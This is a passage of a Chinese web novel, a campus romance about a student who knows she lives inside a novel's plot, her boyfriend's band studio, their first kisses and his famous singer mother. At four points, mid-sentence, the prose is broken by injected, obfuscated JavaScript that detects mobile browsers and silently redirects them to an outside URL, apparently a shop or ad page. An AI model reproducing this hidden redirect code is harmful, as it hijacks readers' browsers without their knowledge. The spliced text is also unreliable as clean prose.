在过去的11月里,他们已经拍摄了不少视频,罗姝也按照微综艺的思路进行了剪辑,目前已经存了好几期的成稿。 还没有等到正式宣传的日子,罗姝的英语四级考试时间已经近在咫尺,她先暂停了手中的其他工作,匀了一大部分精力来备考。 为了不打扰寝室其他几人的正常活动,罗姝本来计划这段时间都去图书馆学习。 出乎意料的是,图书馆已经人满为患,预约座位的小程序每天都被卡爆,罗姝发动整个寝室一起抢座都没抢到。 最终康雅琪拍着罗姝肩膀道:“最近考试比较多,除了四六级,月底还有研究生考试,实在不行你还是跟段胥阳商量一下,去他工作室学习几天。反正前段时间你也天天去那里找班上嘛。” “好像也只能这样了。”罗姝无力地叹气。 其实室友们之前就说过,她留在宿舍里复习也可以,她们会尽量保持安静。 但寝室首先是一个用来放松休息的场所,罗姝并不想把那种紧凑的学习压力带进来,况且这样做还会影响室友们的正常生活。 反倒是工作室那边,房间很多,还加强了隔音效果,她可以和乐队那几个人互不干扰。 白婵一听她这样说,立马在各种联系群里翻找。 大学里的基础管理单位就是寝室,寝室长要接收不少通知,白婵对这些群已经非常熟悉,很快就找到了她想要的。 又逐字逐句读了一遍,她双眼一亮,扭头对罗姝说:“姝姝,学生会那边说后半学期只在周五查寝,你甚至可以不用每天来回跑,晚上也住在那里,能省不少事呢。” “之后不是每天都查寝的话,段胥阳他们也有可能搬过去住,我也住过去好像不太合适。”罗姝还是只简单收拾了几本习题册和真题试卷,她抱歉地笑了一下:“会给他添麻烦。” “姝姝,你这样想可不对。他是你的男朋友,是关系亲密的同盟。不要总害怕给他增添负担,人与人之间就是要互相麻烦起来,才能更近一步,更何况是男朋友。” 白婵把手搭在她的肩膀上拍了拍,接着说:“跟他不用太客气,他要是连这点麻烦都不愿意接着,还留着干嘛?谈恋爱不是图对方能帮我们多少,但一点都帮不上肯定不行。” 罗姝社交新手,也是恋爱新手,她若有所思地把头歪到一边:“是这样吗?” 连一旁戴着耳机打游戏的林莎都抽空附和了一句:“当然,我甚至觉得段胥阳挺期待你能麻烦他一下的。” “你上次因为发烧‘麻烦’了他一次,第二天就成了他女朋友,要是能再‘麻烦’他一下,说不定就能突破生涩期进入亲亲抱抱举高高的黏糊期了。” “这个观点我认同一半,后半段仅代表林莎个人,我反正觉得段胥阳没有这么肤浅。”康雅琪自诩八卦多年已经极通人性。 她紧接着开始输出自己的观点:“但在这偌大的大学校园里,你明明有这么多好友,却独独向他求助,这代表你对他更加信任、依赖,这能让他内心产生极大的满足感。” 罗姝把每个人的话都认真地听了进去。 她一直感觉自己在恋爱中的反应是偏淡漠的。 有极大一部分原因是她当时只是想尝试走个剧情,并且做好分是被拒绝的准备,所以骤然进入恋爱关系后,她还没有调整好心态。 另一部分原因则是性格使然。从前她想要讨好别人,只需要做一件事,就是好好学习,保持第一。可她的男朋友并不需要她考第一名。 每一次,当她意识到段胥阳在很热情地冲着她释放那种太阳一般滚烫的情绪时,她都不知道该如何回馈。 可恋爱如果只靠一方的热情是难以维系的,罗姝也想要好好地经营这段关系。 不仅仅是因为她意识到剧情限制对段胥阳似乎无效,更是因为…… 罗姝不知何时已经点开了通讯录,找出了段胥阳的联系方式。 段胥阳并不知道她告白的真实意图,他付出的都是真心,她至少不要让他寒心。 她将手指放到播出键的上方,再次跟室友们确认:“所以,我可以尝试着向他求助,哪怕给他制造一点小麻烦也没关系,这反而有利于我们的感情吗?” “先打给他问问,看看他的态度。”白婵一把拉开卫生间的玻璃门,做了个请进的动作:“你们私聊,他要是态度不好就把他甩了!” 罗姝在自己不熟悉的领域向来听劝,她没有犹豫,一边拨通电话,一边往卫生间里走。 段胥阳向来是秒接,不会让罗姝等超过3秒钟以上的等待通话时间,这一次也是一样。 “姝姝!” 听到他元气十足的声音,罗姝做了下心理建设,才开口问:“段胥阳,这几天方便我去工作室那边复习一段时间吗?考试月学校图书馆位置比较紧张。” 密闭的、空旷的环境像是自带扩音器,罗姝明明压低了声音,却还是感觉自己空洞的声音从四面八方传进了自己的耳朵。 相比之下,电话里段胥阳的声音要更加清晰:“当然可以啦,忘了我们前段时间刚补了合同吗?你现在已经是我们乐队的正经幕后员工,你随时想来就来。” 这事发生在11月初,乐队队长孟宇寰找律师拟了一份合作合同,具体规定了一下逆时针乐队和罗姝合作模式和分成比例,合作有效时限是一年,现在罗姝是乐队正儿八经的编外人员。 “不止白天去,”罗姝跟段胥阳解释:“我想晚上也在那边住几天,节省一下来回折腾的时间。我怕你们晚上也住那,影响你们。” 段胥阳沉默了几秒,罗姝忽然听到了啪嗒一声,像是车门开关的声音,接着就是熟悉的汽车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045220|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 启动声。 在那嗡响中,段胥阳说:“你简单收拾一些个人物品,我到校门口接你。” 他向来懂得如何安抚她的敏感:“你放心吧,对我们没有一点点影响,两个学长只想把工作和生活分开,下班时间恨不得工作室消失。我和曹非最近也还有小组作业要做,住在工作室不方便和同组的同学讨论。” 冬天天黑的很早,此时已经过了晚饭时间,窗外一片漆黑,温度显示也只有个位数。 段胥阳开车过来,就说明他此刻并不在学校。 今天还是工作日,他这个时间出现在工作室,应该本来是打算在那边过夜的。 罗姝身子向后倒,靠在满瓷砖那冰冷的墙面上:“你别哄我,你为我做过什么事,可以告诉我。” 听筒里传来一声笑声,声音轻到只有气音:“那一会儿见面补偿我一下吧。今天有风,记得多穿一点,戴口罩戴帽子,我打电话给你你再出门。” 从卫生间出来,迎着室友们三双饱含促狭的眼睛,罗姝翻出背包,走到自己衣柜旁边:“我去那边学习几天,上课见。” “去吧,要幸福。”林莎之前为了等她出来,这一把游戏还迟迟未开。 这下她一边点进入游戏,一边冲着罗姝挤了下眼睛:“保护好自己,晚上要锁门,谁来都不开。” 收下室友们的暖心叮嘱,罗姝把衣服整理好,便拎着自己的行装向校门口出发。 她计算得很准,等她走到校门口时,段胥阳的汽车也刚好驾驶过来。 段胥阳伸手接过她的背包,第一眼就先看向她那没有做保护的手:“没戴手套,冷吗?” “不冷,没有那么冷的。”说话间,罗姝已经打开副驾驶的门坐了上去。 段胥阳把东西放到后面,上车后牵起罗姝的手感受了一下。手心不热,但并没有到冰冷的程度。 他安心的同时又有些自责:“我当时应该再买一副手套的。” 罗姝的帽子就是上一次段胥阳去首都录歌时,承诺带给她的礼物。毛茸茸的,还有两个小熊耳朵的形状,保暖又可爱。 除了帽子还有一条围巾,另外据说还有一个秘密礼物,一直到现在都没给到罗姝。 “我真不冷,一路走来我双手都是揣兜的。”罗姝揣手还原自己的动作,又说:“你给自己留点选择礼物的余地嘛,之后还有不少送礼物的时候呢。” 被这么一哄,段胥阳嘴角不受控制地上扬起来,他脸上浮现出无法掩藏的笑容:“你这一通甜言蜜语不会就是给我的补偿吧?那可不够,再加加码。” 罗姝重新回想了一下自己的话,也没找到哪里像甜言蜜语,但的确有哄人的成分存在,她也就没有反驳。 段胥阳已经在拽安全带的带子,将卡扣咔哒一声扣下去的同时,他的右脸上传来温润柔软的触感,有些凉凉的。 女生常用的洗漱用品有股独特的馨香,那香气正萦绕在他鼻尖。 31. 恋爱第9天 段胥阳一直认为自己有一个绝顶聪明的脑瓜。 最大的铁证就是在他把生活的重心明显倾倒到了音乐上后,依然能在高考时考出超过一本分数线的好成绩。 而和他成长路径几乎一模一样的曹非就明显不如他,曹非是全靠艺术生分数线低才有缘和他上同一所大学。 此刻,他的大脑就仅用了不到0.0001秒的功夫来分辨自己遭遇了什么: 他被人亲了一口,他再也不清白了。 但转换这个数据的速度虽快,急速过载的大脑CPU却突然宕机,他维持着被亲吻时的动作,整个人僵硬得像一尊石像。 始作俑者却已经老神在在地坐回了原位,还把摘下来的帽子口罩都叠得整整齐齐,放进了背包里。 之后,她两手规矩地放在膝盖上,等了半晌还不见汽车启动,这才疑惑地重新看过来。 “罗姝你……”段胥阳难得卡壳,他有些想笑又有些郁闷:“你怎么能突然偷袭呢。” 没预料到他会是这种反应,罗姝也跟着茫然无措:“你不喜欢吗?” 段胥阳整天跟个粘人小狗一样,她还以为他会更喜欢肢体上的亲密接触。 “我当然喜欢啦!”他梗着脖子,慢慢涨红了脸:“我都没做准备,没有洗头洗澡喷香水抱着玫瑰花,第一次亲亲有点不浪漫。” 罗姝:“……” 她扭头回来,目光向下看去,盯着自己的双手:“那么大费周章才不浪漫呢。” 也对,水到渠成的惊喜感才是最浪漫的。 段胥阳一秒钟被说服,并在心里狠狠肯定她,不愧是全科第一,思想境界就是高于我等。 他强忍着不叫颧骨升天,紧紧嘬着腮帮子把自己嘬成了雷公嘴,等那股想要仰天长啸的冲动渐渐消退后,他才贴近她说:“那你得做好准备,你已经开了头。” 段胥阳的声线一直都带着一股懒洋洋的不着调感,说话时尾音像钩子一样,钩得人心痒。 罗姝耳边轰地一声,像蒸汽火车的烟囱冒烟了一般,耳廓瞬间发烫。 她强撑着嘴硬:“我做什么准备。快出发吧,时间已经不早了。” 段胥阳这才笑出了声,带着满脸遮不住的春风得意调整好坐姿,开始驾驶汽车向工作室出发。 罗姝悄悄将车窗拉开一些,让冷风吹走她的羞臊。 等心头的悸动趋于平静时,她回想起,她曾经就在这个位置,抱过一束新鲜的洋桔梗。 那束花枯萎的速度比她想象中要快很多,她一度很急躁地想各种办法来延长它的花期,但自然规律如此,没有人能留下一朵永远鲜嫩的娇花。 罗姝最终将全部花瓣都摘下来晾干,存到了一个罐子里,当做自己曾经拥有过的证据。 她意识到比起担忧一朵花儿的凋零,不如欣赏她当下的美丽。 假如,她只能在三年之后离去。 那么短暂地和他在一起,享受过当下的温情与甜蜜,便也不留遗憾。 下班晚高峰的时间已过,路上并不拥堵,很快,段胥阳就将汽车稳稳地停进了车库。 两人并肩走进了室内,又从门口兵分两路,罗姝去放自己的东西,段胥阳则钻进了厨房里给她烧一壶热水。 等罗姝将东西整理好出来时,段胥阳还在厨房里忙活,她这个厨艺界新兵蛋子也看不懂那些大厨的操作,索性直接坐到沙发上等他出来。 小书架就挨着沙发,罗姝闲着无聊,又把目光放到了那些书上。 除了之前曹非订购的杂志,后来几人都陆陆续续填了一些书籍进去,什么学金融学炒股如何带团队,乱七八糟的东西应有尽有。 罗姝沉吟片刻,手指在书脊上点来点去,最终还是抽出了那本以突破命运为题的六月刊。 她还曾将一片叶子夹在里面,不知道有没有碎掉。 罗姝随手一翻,直接翻到了夹着异物的那一页。 但这一次,比起大胆出格的服装,被塑封起来的落叶更加吸引她的眼球。 她愣了一下,动作小心地将它拿起。叶片每一丝纹路依旧清晰可闻,它被留住了最美的样子。 “二楼有个塑封机,我们之前塑封歌词用的。”段胥阳这时走了出来,见罗姝正在看那片落叶,便随口说了句。 他手上正端着一个瓷碗,甜腻的奶香和辛辣的姜味一齐往人鼻子里钻,还没见到那是什么,罗姝就感到从胃里散发出一股热意。 “大门口有个监控摄像头,那天监控软件突然提醒我门口有人,我看了回放,发现你很喜欢那片叶子。” 段胥阳把手里还冒着热气的瓷碗放到罗姝跟前,接着说:“回来以后我就找了教程,把它塑封了起来。不然的话,你也知道队里那些家伙无聊起来就喜欢暴力翻书,它很可能会碎掉。” “你真细心,我当时没有想太多。”罗姝感慨了一句,她的目光随着他的动作移动,很快就落到了那个瓷碗上。 她指了指,问道:“这是姜撞奶吗?” 她之前还真没吃过这种甜品,现在也只是根据空气中传来的味道做出猜测。 “对,给你驱驱寒。”段胥阳紧贴着她坐下,他接过她手里的杂志,往她手里塞了个勺子:“趁热吃,我自己做的,用爱做的,保证好吃。” 大概是因为从小在吃食上没有什么选择的权利,罗姝的舌头非常博爱,到目前为止还没有她特别难以接受的食材。 她本来就能吃姜,这种中和了奶和糖的姜味甜品就更加不再话下,一口下去只有享受。 见她吃得开心,荡漾了一路的段胥阳忍不住想逗她一下:“怎么样,加了爱做出来的姜撞奶,是不是更加火热?” 罗姝无语地白了他一眼,明明火热的根源是那新鲜的姜汁。 但念在他辛苦的份上,她还是敷衍地回应了一下:“是挺烫的。” 又连着吃了几口,罗姝才想起来客套:“你只做了一碗吗?我再找个碗过来,咱们分一下吧,这半边我完全没动过的。” “你吃吧,我出门就上了车,没吹过风,而且我不太喜欢姜味。” 听到段胥阳的解释,罗姝疑惑地看向他:“你不喜欢姜味,为什么还会做这个啊?” “我妈喜欢吃。我还小的时候她生过一场病,之后就有些畏寒,就想喝姜撞奶。等她身体状况稳定以后,医生说可以让她偶尔喝一次,我就跟着学了一下做法。” 瓷勺触碰着碗底,发出细微的、刺耳的剐蹭声,罗姝第一时间想到,段胥阳母亲生的那场病,很可能就是原书中她英年早逝的原因。 她果然熬过了那场劫难,正健康、幸福的活着。 想到这里,罗姝心里也踊跃出一些喜悦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053088|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎,我是不是没跟你说过这杂志是哪来的?” 段胥阳牛嚼牡丹一般翻着杂志,双眼飞快扫过一页又一页,直到看到最后与主设计师Skuld的访谈,他才突然想起什么似的,用肩膀碰了罗姝一下。 “不是曹非买的吗?”罗姝记得当初的收件人就是曹非。 “是他弄来的,不过是0元购。”他指着Skuld这个名字,对罗姝说:“这个人就是曹非的亲姐姐,她是一名服装设计师,一般只设计秀场款男装,这一次是她第一次尝试设计女装,直接成为了当期主题,也很厉害吧?” 罗姝微微皱了下眉头,很快就重新舒展开,维持着表面上的平静:“曹非的姐姐,是设计师啊。我还以为她和曹非一样都学钢琴呢。” 毕竟,在原小说里,曹恩悦女承父业,是一位享誉国际的钢琴家。 她把掉下来的碎发拨到脑后,又拉了曹非出来当掩护:“我记得曹非好像提过一嘴,他姐姐也会弹钢琴。” “他们的爸爸是钢琴家,小曹姐确实也从小就学钢琴,不过高考之后她突然想学服装设计,家里人拗不过她,就放她出国留学了,于是知名设计师Skuld就此横空出世!” 段胥阳还跟她八卦:“小曹姐之前一直在国外跟秀场,也是那时候认识了姐夫,她瞒着家里所有人跟姐夫结了婚,还是跨国婚姻,把曹叔叔气得够呛。” “听起来,这位姐姐好像十分有个性,有想法,敢作敢当。” 罗姝将段胥阳口中的曹恩悦与原文对曹恩悦的描述做对比,倒是大差不差。小说里的曹恩悦也是一个很果决的人,一旦打定主意就不会轻易更改。 “她是风风火火奇女子,做任何决定之前都不会产生顾虑,大不了回头重新来过。所以姐夫也怕她对婚姻和恋爱都是三分钟热度,一直没有安全感,两个人总是吵架。” 他突然摆摆手:“不多说他们的私事,反正这套杂志是曹非跟他姐要来的,如果你很喜欢她的设计理念的话,有合适的时间我们可以和小曹姐见一面。” 要和曹恩悦见一面吗? 罗姝坐在原地思考了片刻。 女主角的行动轨迹也已经偏离了她身为“曹恩悦”时期的成长路径,是什么诱使她突然决定改学设计呢? 看得见命运就可以打破,无人能摆布我。 想到那本六月刊封面上印刷的主题词,罗姝心有所动。 她也看见了“命运”吗? “姝姝?”段胥阳见她发呆,又确认似的喊了声她的名字。 “好啊,要是时间合适的话。”罗姝回过神来,对着他笑了笑:“就怕姐姐工作忙。” “想约的话,总能抽出时间来的。” 提到时间,段胥阳看了一眼手表,他站起来说:“我得先回学校了,下午刚跟同学约好在宿舍商量作业。你一个人在这里,要把门窗都关好,大门和你卧室的门都要反锁,窗帘拉得严严实实,好吗?” “好,我会照顾好我自己。”罗姝也站起来,紧跟着他的步伐将他送到门口。 正要开门,段胥阳又停下动作,他转过身来,黝黑的眸子紧盯着她如玉的脸庞。 “我有些贪心,还想再加个码。” 迎着少女清澈的眼神,他缓缓俯身,在她额头印下一吻。 “晚安。” 32. 恋爱第10天 说来也古怪,罗姝主动去亲段胥阳时,其实并没有感到多么害羞。 但当段胥阳回吻她后,她却觉得那吻一直留在额头上一样,迟迟不肯消散。 以至于她去厨房洗碗时,还怔怔地用水泼了泼额头,仿佛这样就能洗掉他嘴唇的形状和触感。 水滴汇成小溪从她额头滑落,不讲道理地浸湿了她的睫毛,罗姝额头一片冰凉,心头却一片火热。 原来亲吻和亲吻也是不一样的。 在罗姝的记忆中,最常亲吻她的人,一定是妹妹罗妤。 罗妤从小就最喜欢姐姐,从她学会爬开始,就总是糊着一嘴口水往罗姝脸上凑,这种习惯一直持续到罗妤八岁去了首都。 罗姝一直认为自己完全适应了这样的情感表达,潜移默化之下,她也能自如地去亲吻别人的脸颊。 但原来是不一样的。 她摸着自己的额头,后知后觉地感受到了一种难为情。 她总算认识到情侣关系是一种极其亲密的两性关系,亲密到会对对方摈弃一定程度的羞耻心,从情感上将两个独立的人绑定为一体。 不仅仅是牵手、拥抱、彼此陪伴,还要更加缠绵悱恻,更加情潮澎湃。 罗姝拍了拍自己的脸,走出厨房将杂志归位,将沙发整理好,才带着一杯水走回了房间。 她先拿出自己的笔记本,将新得到的消息都补充进去,之后便依据段胥阳母亲的特征在网络上搜索了一下。 一个有名气的、曾遭遇过疾病、已婚已育、可能拥有当地籍贯的女歌手,搜索重点已经足够聚焦。 她并不记得原小说中有没有提到过段胥阳母亲的名字,即便有她也没记住,只能这样大费周章地检索。 幸运的是她掌握的信息已经足够多,很快,她就锁定了一个名字,石攻玉。 早在二十多年前石攻玉就已经火遍了大江南北,还被誉为一代金曲天后。 十几年前她突发急性心肌梗死,好在送诊非常及时,她成功得到救治。 复健休养了两年多,石攻玉重新复出,之后她的工作强度大幅度降低,每年曝光也有限,导致许多年轻人并不认识这位传奇歌后。。 石攻玉目前在首都音乐学院任教,最近的一条公开动态是录制了一个音乐综艺。 有粉丝发了她当天的照片,罗姝点开图片放大了仔细端详。 这位保养得宜的女歌手看起来只有三十多岁的样子,身材偏丰腴,气质很温柔可亲,双眼眼廓圆润,本该是十分具有亲和力的长相。 但她的眼神却很冷静,礼貌微笑的样子透露出距离感,正如她的名字那样,她富有野心和攻击力,她高顶着皇冠独坐王位,没有人能小觑她。 仅仅只是一个眼神,却让她的气质有了翻天覆地的变化,罗姝在探究的基础上又对她产生了好奇。 恰好这部综艺已经开播,刚更新了先导片,罗姝盯着书桌看了会儿,自欺欺人地把学习资料收了起来假装没看到,转头兴致勃勃地去看综艺。 第二天,罗姝顶着一双黑眼圈萎靡不振地艰难起床。 怪不得她妈之前不让她看电视,确实容易上瘾,影响生活节奏。 综艺中展现的石攻玉的性格正如罗姝所判断的那样,外柔内刚。她极擅长发挥自己外表的优势,不会让年轻小辈感受到压力,同时她也并不会轻易被人左右,反而经常在四两拨千斤中悄然影响旁人的决策。 罗姝越看越觉得她有趣,不知不觉就搜索了一大堆资料,高强度网上冲浪一晚上,罗姝感觉自己整个人已经被互联网腌出味了。 她的手机屏幕还停留在石攻玉的百科信息上,页面十分显眼的位置上正标注着一个人物关系,丈夫:段明谦。 姓氏籍贯都对得上,罗姝已经可以确定这位天后就是她男朋友的妈妈,一大堆互联网垃圾迅速在她脑海中刷屏。 #一夜过后我成了男友妈妈的粉丝# #和男朋友见家长会不会被骂私联# #我不是女儿粉我是儿媳粉# #和偶像做婆媳需要什么注意事项# 罗姝急忙甩了甩头,把那些乱七八糟的东西都甩出去。 简单洗漱了一下,罗姝扫了一辆共享单车回到学校,一路上她也没闲着,一直在思考石攻玉突发心脏病这个事与小说世界意识有没有关系。 回顾自身,罗姝遭遇的多是头疼,只有一次心脏发疼,就是在她意识到挣脱命运的束缚已经有理可循那天。 甚至就算是现在,当她在心里复盘时,仍旧有不适感纠缠着她,只是那疼痛已经变得可以忍受。 这足以证明,它有手段也有能力,强行让该下线的配角猝死。 这种得不到确切回答的问题,一律将题干当作答案即可,罗姝在心里做出结论。 无论如何,更加保持警惕总没错。 着急忙慌赶到教室,罗姝一眼就看到了室友们所在位置,她们已经帮她占好了座位,罗姝还喘着粗气,悄然坐了过去。 林莎率先看见她,跟见鬼了似的,瞪大眼睛:“你这是又犯失眠了,还是半夜被人揍了?” “都不是,我去放纵了。”罗姝挺直的腰板松了下来:“熬夜看了一晚上综艺节目,一个字母没学,心虚中。” “哇!姝姝,你终于学会了人类究极技能——偷懒吗?”白婵激动地跟林莎换了个座位,自己挨着罗姝坐:“快快快,跟我说说你看了什么综艺,能打乱你的学习计划,堪比满分评价,我要吃一口安利。” 罗姝索性从观看历史里把链接分享过去:“其实就是一个音综,有石攻玉在我才去看的。你认识石攻玉吗?” “当然,‘玉’皇大帝谁不知道,我爸每次开车必放她的歌,我小时候听的摇篮曲都是她唱的版本。” 白婵迅速把这部综艺收藏了,看到封面上的石攻玉还啧啧称奇:“这就是‘玉’皇大帝的魅力吗?能把姝姝这样的小书呆都迷住。” 被人戏称书呆子,罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064462|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝也不觉得冒犯,她笑了下,解释说:“她确实很有吸引力,热爱自己的事业,坚定自己的选择,肯定自己的价值,看到她总会忍不住反思自己。” 她怅惘地看着前座的椅背,视线其实并没有焦点:“我有没有什么想要为之奉献一生的事业呢?我好像对剪辑和做自媒体有些兴趣,也稍微有一些成绩吧,但我并不能肯定自己的未来一定会选择这条路。” “还有一些其他的事情,明明事关我的生存,我也在摇摆不定。我没有她的坚定,于是就更加敬佩她。” “做不到就做不到呗,碌碌无为也是一种人生。”白婵无所谓地耸耸肩:“把偶像当标杆,能靠齐就靠齐,做不到就摆烂,只要不给社会添乱,每个人都有平凡普通的权利。” 罗姝听到她这段话,表情有些意外:“你是这样想的?” “对啊,要是人人都能像石攻玉一样,岂不是人人都是石攻玉。”白婵摊手。 “那,碌碌无为的人生,你不会觉得很空洞吗?找不到自己必须要存在的意义,也不知道自己的独特性在哪里。” 白婵看了她两秒,先是仰天长叹了一声:“唉,如果你跟我一样从小到大都是半吊子,成绩永远都不上不下,早早认清自己就是个普通人,就不会这样想了。” “我的存在有没有意义是由他人评判的,对我个人而言,我存在这件事本身就是意义。” “不是所有事、所有人都可以用价值来衡量,要允许生命被浪费,和自己自洽。” 见罗姝露出一副思索的神情,白婵嚷嚷起来:“我可不是跟你说教啊,我只是分享一下我自己浅薄的人生经,我们俩个虽然现在坐在同一间教室里,但是我们的成长经历完全不一样,适合我的未必适合你。” 她直接点开了一个小游戏不由分说地放到了罗姝面前:“来嘛,既然都学会偷懒了,不如再深化一下放松技能。我很早之前就想看你玩这个,看你需不需要看广告过关。” 屏幕上是一个画风简陋的小游戏,里面摆放着好几个透明小瓶子,瓶子里装着颜色不同的液体。 罗姝扫了一眼,猜测道:“要把相同颜色的液体装到同一个瓶子里吗?” “对,倒水挑战。我每次都要看广告加一个瓶子才能过关,但我觉得你这样善于思考的人应该不需要。” “最重要的是,”白婵严肃点头:“这东西真的有时间消失魔法,总是不知不觉偷走我好几个小时时间,非常解压,且浪费生命。” “我先玩一局,你看看。” 罗姝就这么凑在白婵身边看她玩游戏。 白婵丝毫没有谦虚过,玩着玩着果然卡关了,她气鼓鼓地点开了广告:“气死,不能秀你一脸了。” “看来这个游戏,是在考验人的逻辑推理能力和空间规划能力。”罗姝摸着下巴:“我真的可以试试。” 白婵:“……” 都说了玩游戏不要太思考意义了! 跟你们学霸没话说! 33. 恋爱第11天 有些事一旦开了头,就会难以停止。 比如倒水挑战小游戏。 尤其是当罗姝竟然也卡关好几次,需要看广告才能通过的时候,这个游戏就注定要强势入驻她的日常生活。 为此罗姝重新调整了自己的学习计划,将集中的、超长时间的复习打散成时长一致的小段,段与段之间穿插着短暂的娱乐时间用来征服倒水挑战。 这种模式一直持续到考试前一天。 也不知道是不是她的错觉,她竟然感觉这么安排下来,她做题的效率大幅度提升,准确率也没有降低。 “因为很多知识点你已经掌握了吧。”听到她倾诉小烦恼的段胥阳这样说。 他正瞻仰着罗姝做过的试卷,与有荣焉地扫过那些几乎没有错误的清秀笔迹:“之前你很谨慎,总是检查一遍又一遍,现在你担心在休息前做不完试卷,便会加快做题速度,减少纠结的次数。” “这样不好,粗心大意必有疏漏。”罗姝一边数着瓶子,一边严肃着脸反省自己:“有好几次我不得不看广告,就是因为之前的步骤大意了。” 她做出重要总结:“玩游戏要细心,答题更要细心。” 那一本正经玩游戏的样子叫人忍俊不禁,段胥阳忍着笑,把手中的试卷放下,看向她的侧脸。 她正专注地盯着手机屏幕,仿佛在看什么重大新闻。 小姑娘年龄不大,低着头的时候,脸上还有些鼓囊囊的婴儿肥,细嫩的皮肤上分布着些许绒毛,柔软又可口。 他先上手捏了捏,没敢使劲,生怕不小心将她捏疼。 见罗姝没有抗拒,段胥阳才又挪近一点,在她脸上轻啄一口。 手机没有静音,传来“咕噜”的倒水声效,罗姝呆了一下,顿时谴责地看过去:“你吓我,害我倒错了。” “哪错了?红的和红的倒一起了啊。” “我本来要倒进左边那个瓶子的,倒反了。”罗姝指出问题,“现在可用空间不足,又要看广告。” 段胥阳接过她的手机,自觉点开广告:“行,我的错,我帮你看。” “唉,有些人呐,她又高又帅又贴心的男朋友在这坐了几个小时陪她学习,到头来还比不过一个手机游戏。”他酸溜溜地说。 罗姝心虚了一秒,强撑起声势:“可你真的吓到我了,你亲我之前也没说一声。” “哦,亲一口还得提前预告呢。”段胥阳气笑:“行,我现在预告你一下,我还要亲你。” 随后他眼睁睁看着眼前人白嫩嫩的脸上染上绯色,也不浓重,只衬得她更加可爱。 等了几秒,他还没亲过来,罗姝清了清嗓子:“你怎么还不亲?” 段胥阳将手机放下,长臂一捞,把人箍进怀中用力亲了好几下。 那布丁般滑嫩的触感,像是带着深深的魔力,令他不忍松开。 段胥阳感觉自己走进了一处神秘危险的幽谷,他已然撷到珍宝,可他仍不知足,想要继续向前探索。 鼻尖相抵,呼吸交缠。 罗姝提起一口气,下意识要向后躲去,可躲不开。 年轻男人的手臂坚硬似铁,蓬勃有力,蟒蛇一样缠在她的腰间,只能不断收紧二人之间的距离,逃离不了分毫。 睫毛飞快地颤动着,罗姝心跳如擂。 他却只蹭了蹭她的鼻子,没有再近一步。 大着胆子看向段胥阳的眼睛,罗姝清晰看见他眼底的欲壑难填,但无数层的珍视将它包裹,他对她的柔情占据着上风。 那一瞬间,不知何处来的勇气支使着她,罗姝嘴唇颤抖着,身体也颤抖着上前,贴上他的唇角。 一道电流从唇瓣相接的地方滋生,同时打在他们心上。 “学习时间到了!”她蓦地将他推开,捞起试卷大步流星地走向剪辑室:“我去学习,不准打扰我!” “手机!还有游戏没玩完呢!”段胥阳从僵硬中清醒过来,整个人洋溢着幸福与欢快:“我替你玩?” 房间门已经被关上,从中发出一声闷闷的“随便”。 他摸了摸自己的嘴角,傻傻地笑出声:“又偷袭我。” 哼着荒腔走板的调子,他找到一个纪念日APP,在今天这个日期上郑重记录下两个字:初吻。 从四级考场走出来,罗姝刚觉得自己身上的学习担子轻了一点,期末考试这座大山又压了下来。 除了专业课和部分公共课是统一放在放假前考,还有不少课程在结课周就要进行考试,比如体育课。 这段时间里他们早已经学完了全部动作,老师又带着他们练习了好久,便称后面的课程里要进行两次小测,一次单人动作小考,计入平时分,一次双人动作小测,算作期末成绩。 双人动作里有舞伴带着还好,独自跳单人动作,曹非和段胥阳的手脚就会不受控制。 当时他们就可怜巴巴地看着罗姝寝室四人,像两只被人遗弃的大狗一样,几人一心软,就约好了找个空地一起练习。 林莎后来在寝室多次爆发后悔言论:“我是看曹非后面进步很多已经很少踩我才答应的,但我感觉仅靠我们几个恐怕教不会他。” “天王老子来了也教不会。”白婵对此很平静。 她是唯一的男步选手,势必要带他们一起练习,经过这一学期的观察,她已经看开了:“不求动作标准,他们能混在学生中不突兀地把动作流畅做完就行,我相信老师不会这么吹毛求疵。” 就这样,等罗姝考试结束后,六个人终于凑在一起开始做最后的练习。 段胥阳整场状态非常高,单人动作居然也能跳得有模有样,几个小老师的重点关注对象就变成了曹非一人。 眼看着那文艺青年被这几个人围攻,手忙脚乱地像一只可怜的老鼠,罗姝心里忍不住泛滥出同情:“你说你当初坑他干嘛。” “我没坑他啊,”段胥阳不认:“谁让他自己报课的时候接打电话的,我可是统一标准,我报了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 